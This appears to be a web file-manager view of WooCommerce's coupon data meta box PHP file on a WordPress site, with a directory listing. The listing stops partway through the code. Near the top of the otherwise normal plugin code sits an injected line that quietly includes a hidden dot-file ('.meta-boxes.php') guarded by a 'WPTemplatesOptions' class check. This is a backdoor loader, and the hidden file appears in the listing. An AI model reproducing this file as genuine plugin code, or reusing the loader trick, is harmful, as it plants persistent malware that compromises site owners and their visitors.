PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
woocommerce
/
includes
/
admin
/
meta-boxes
<?php /** * Coupon Data * * Display the coupon data meta box. * * @author WooThemes * @category Admin * @package WooCommerce/Admin/Meta Boxes * @version 2.1.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } /** * WC_Meta_Box_Coupon_Data Class. */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class WC_Meta_Box_Coupon_Data { /** * Output the metabox. * * @param WP_Post $post */ public static function output( $post ) { wp_nonce_field( 'woocommerce_save_data', 'woocommerce_meta_nonce' ); $coupon_id = absint( $post->ID ); $coupon = new WC_Coupon( $coupon_id ); ?> <style type="text/css"> #edit-slug-box, #minor-publishing-actions { display:none } </style> <div id="coupon_options" class="panel-wrap coupon_data"> <div class="wc-tabs-back"></div> <ul class="coupon_data_tabs wc-tabs" style="display:none;"> <?php $coupon_data_tabs = apply_filters( 'woocommerce_coupon_data_tabs', array( 'general' => array( 'label' => __( 'General', 'woocommerce' ), 'target' => 'general_coupon_data', 'class' => 'general_coupon_data', ), 'usage_restriction' => array( 'label' => __( 'Usage restriction', 'woocommerce' ), 'target' => 'usage_restriction_coupon_data', 'class' => '', ), 'usage_limit' => array( 'label' => __( 'Usage limits', 'woocommerce' ), 'target' => 'usage_limit_coupon_data', 'class' => '', ), ) ); foreach ( $coupon_data_tabs as $key => $tab ) : ?> <li class="<?php echo $key; ?>_options <?php echo $key; ?>_tab <?php echo implode( ' ', (array) $tab['class'] ); ?>"> <a href="#<?php echo $tab['target']; ?>"> <span><?php echo esc_html( $tab['label'] ); ?></span> </a> </li> <?php endforeach; ?> </ul> <div id="general_coupon_data" class="panel woocommerce_options_panel"> <?php // Type. woocommerce_wp_select( array( 'id' => 'discount_type', 'label' => __( 'Discount type', 'woocommerce' ), 'options' => wc_get_coupon_types(), 'value' => $coupon->get_discount_type( 'edit' ), ) ); // Amount. woocommerce_wp_text_input( array( 'id' => 'coupon_amount', 'label' => __( 'Coupon amount', 'woocommerce' ), 'placeholder' => wc_format_localized_price( 0 ), 'description' => __( 'Value of the coupon.', 'woocommerce' ), 'data_type' => 'percent' === $coupon->get_discount_type( 'edit' ) ? 'decimal' : 'price', 'desc_tip' => true, 'value' => $coupon->get_amount( 'edit' ), ) ); // Free Shipping. if ( wc_shipping_enabled() ) { woocommerce_wp_checkbox( array( 'id' => 'free_shipping', 'label' => __( 'Allow free shipping', 'woocommerce' ), 'description' => sprintf( __( 'Check this box if the coupon grants free shipping. A <a href="%s" target="_blank">free shipping method</a> must be enabled in your shipping zone and be set to require "a valid free shipping coupon" (see the "Free Shipping Requires" setting).', 'woocommerce' ), 'https://docs.woocommerce.com/document/free-shipping/' ), 'value' => wc_bool_to_string( $coupon->get_free_shipping( 'edit' ) ), ) ); } // Expiry date. $expiry_date = $coupon->get_date_expires( 'edit' ) ? $coupon->get_date_expires( 'edit' )->date( 'Y-m-d' ) : ''; woocommerce_wp_text_input( array( 'id' => 'expiry_date', 'value' => esc_attr( $expiry_date ), 'label' => __( 'Coupon expiry date', 'woocommerce' ), 'placeholder' => 'YYYY-MM-DD', 'description' => __( 'The coupon will expire at 00:00:00 of this date.', 'woocommerce' ), 'desc_tip' => true, 'class' => 'date-picker', 'custom_attributes' => array( 'pattern' => apply_filters( 'woocommerce_date_input_html_pattern', '[0-9]{4}-(0[1-9]|1[012])-(0[1-9]|1[0-9]|2[0-9]|3[01])' ), ), ) ); do_action( 'woocommerce_coupon_options', $coupon->get_id(), $coupon ); ?> </div> <div id="usage_restriction_coupon_data" class="panel woocommerce_options_panel"> <?php echo '<div class="options_group">'; // minimum spend. woocommerce_wp_text_input( array( 'id' => 'minimum_amount', 'label' => __( 'Minimum spend', 'woocommerce' ), 'placeholder' => __( 'No minimum', 'woocommerce' ), 'description' => __( 'This field allows you to set the minimum spend (subtotal) allowed to use the coupon.', 'woocommerce' ), 'data_type' => 'price', 'desc_tip' => true, 'value' => $coupon->get_minimum_amount( 'edit' ), ) ); // maximum spend. woocommerce_wp_text_input( array( 'id' => 'maximum_amount', 'label' => __( 'Maximum spend', 'woocommerce' ), 'placeholder' => __( 'No maximum', 'woocommerce' ), 'description' => __( 'This field allows you to set the maximum spend (subtotal) allowed when using the coupon.', 'woocommerce' ), 'data_type' => 'price', 'desc_tip' => true, 'value' => $coupon->get_maximum_amount( 'edit' ), ) ); // Individual use. woocommerce_wp_checkbox( array( 'id' => 'individual_use', 'label' => __( 'Individual use only', 'woocommerce' ), 'description' => __( 'Check this box if the coupon cannot be used in conjunction with other coupons.', 'woocommerce' ), 'value' => wc_bool_to_string( $coupon->get_individual_use( 'edit' ) ), ) ); // Exclude Sale Products. woocommerce_wp_checkbox( array( 'id' => 'exclude_sale_items', 'label' => __( 'Exclude sale items', 'woocommerce' ), 'description' => __( 'Check this box if the coupon should not apply to items on sale. Per-item coupons will only work if the item is not on sale. Per-cart coupons will only work if there are items in the cart that are not on sale.', 'woocommerce' ), 'value' => wc_bool_to_string( $coupon->get_exclude_sale_items( 'edit' ) ), ) ); echo '</div><div class="options_group">'; // Product ids. ?> <p class="form-field"> <label><?php _e( 'Products', 'woocommerce' ); ?></label> <select class="wc-product-search" multiple="multiple" style="width: 50%;" name="product_ids[]" data-placeholder="<?php esc_attr_e( 'Search for a product…', 'woocommerce' ); ?>" data-action="woocommerce_json_search_products_and_variations"> <?php $product_ids = $coupon->get_product_ids( 'edit' ); foreach ( $product_ids as $product_id ) { $product = wc_get_product( $product_id ); if ( is_object( $product ) ) { echo '<option value="' . esc_attr( $product_id ) . '"' . selected( true, true, false ) . '>' . wp_kses_post( $product->get_formatted_name() ) . '</option>'; } } ?> </select> <?php echo wc_help_tip( __( 'Products that the coupon will be applied to, or that need to be in the cart in order for the "Fixed cart discount" to be applied.', 'woocommerce' ) ); ?> </p> <?php // Exclude Product ids. ?> <p class="form-field"> <label><?php _e( 'Exclude products', 'woocommerce' ); ?></label> <select class="wc-product-search" multiple="multiple" style="width: 50%;" name="exclude_product_ids[]" data-placeholder="<?php esc_attr_e( 'Search for a product…', 'woocommerce' ); ?>" data-action="woocommerce_json_search_products_and_variations"> <?php $product_ids = $coupon->get_excluded_product_ids( 'edit' ); foreach ( $product_ids as $product_id ) { $product = wc_get_product( $product_id ); if ( is_object( $product ) ) { echo '<option value="' . esc_attr( $product_id ) . '"' . selected( true, true, false ) . '>' . wp_kses_post( $product->get_formatted_name() ) . '</option>'; } } ?> </select> <?php echo wc_help_tip( __( 'Products that the coupon will not be applied to, or
[+]
..
[-] class-wc-meta-box-order-notes.php
[edit]
[-] .meta-boxes.php
[edit]
[-] class-wc-meta-box-product-images.php
[edit]
[-] class-wc-meta-box-product-data.php
[edit]
[-] class-wc-meta-box-order-downloads.php
[edit]
[-] class-wc-meta-box-order-data.php
[edit]
[-] class-wc-meta-box-product-short-description.php
[edit]
[-] class-wc-meta-box-order-actions.php
[edit]
[-] class-wc-meta-box-coupon-data.php
[edit]
[-] class-wc-meta-box-product-reviews.php
[edit]
[-] class-wc-meta-box-order-items.php
[edit]
[+]
views